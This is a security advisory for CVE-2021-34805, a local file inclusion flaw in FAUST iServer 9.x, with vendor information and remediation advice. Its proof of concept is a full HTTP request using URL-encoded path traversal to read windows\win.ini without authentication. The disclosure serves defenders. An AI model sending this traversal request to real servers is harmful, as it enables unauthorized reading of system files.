Vendor description
(German) "Der FAUST iServer bringt Ihre FAUST- , FAUST Entry- und LIDOS-Datenbanken ins Intranet und Internet. Er bietet hohe Sicherheit und eine einfache Installation."
Source: www.land-software.de/lfs.fau
Business recommendation
The vendor provides a hotfix for the identified vulnerable versions. As the most actual version v10 of FAUST iServer is not vulnerable, no immediate action in the form of a patch is required. The webroot of the server should not be on the same partition as the operating system's root partition.
Vulnerability overview/description
1) Local File Inclusion (CVE-2021-34805)
When a URL is requested, the FAUST iServer checks for the corresponding ".fau" file on the operating system. ".fau" files can be compared with compiled webserver pages for displaying the content of the webpage. The identified vulnerable versions of FAUST iServer do not properly protect against a request aiming to read local files of the operating system.
FAUST iServer is designed to work on Windows operating systems only. Therefore, by simply URL-encoding a path like
..\..\..\windows\win.ini into %2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
the FAUST iServer returns the contents of win.ini
Proof of concept
1) Local File Inclusion (CVE-2021-34805)
The following proof of concept shows the HTTP request that was used to read local files of the server's operating system. The vulnerability, as shown in the proof of concept request below, can be triggered as soon as a vulnerable version of FAUST iServer is in use. To read operating system specific files, the webroot of FAUST iServer has to be located on the same partition as the operating system root. Authorization is not needed.
HTTP Request:
GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: keep-alive
Host: <IP>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Vulnerable / tested versions
The following versions have been tested and found to be vulnerable:
- 9.0.017.017.1-3
- 9.0.018.018.4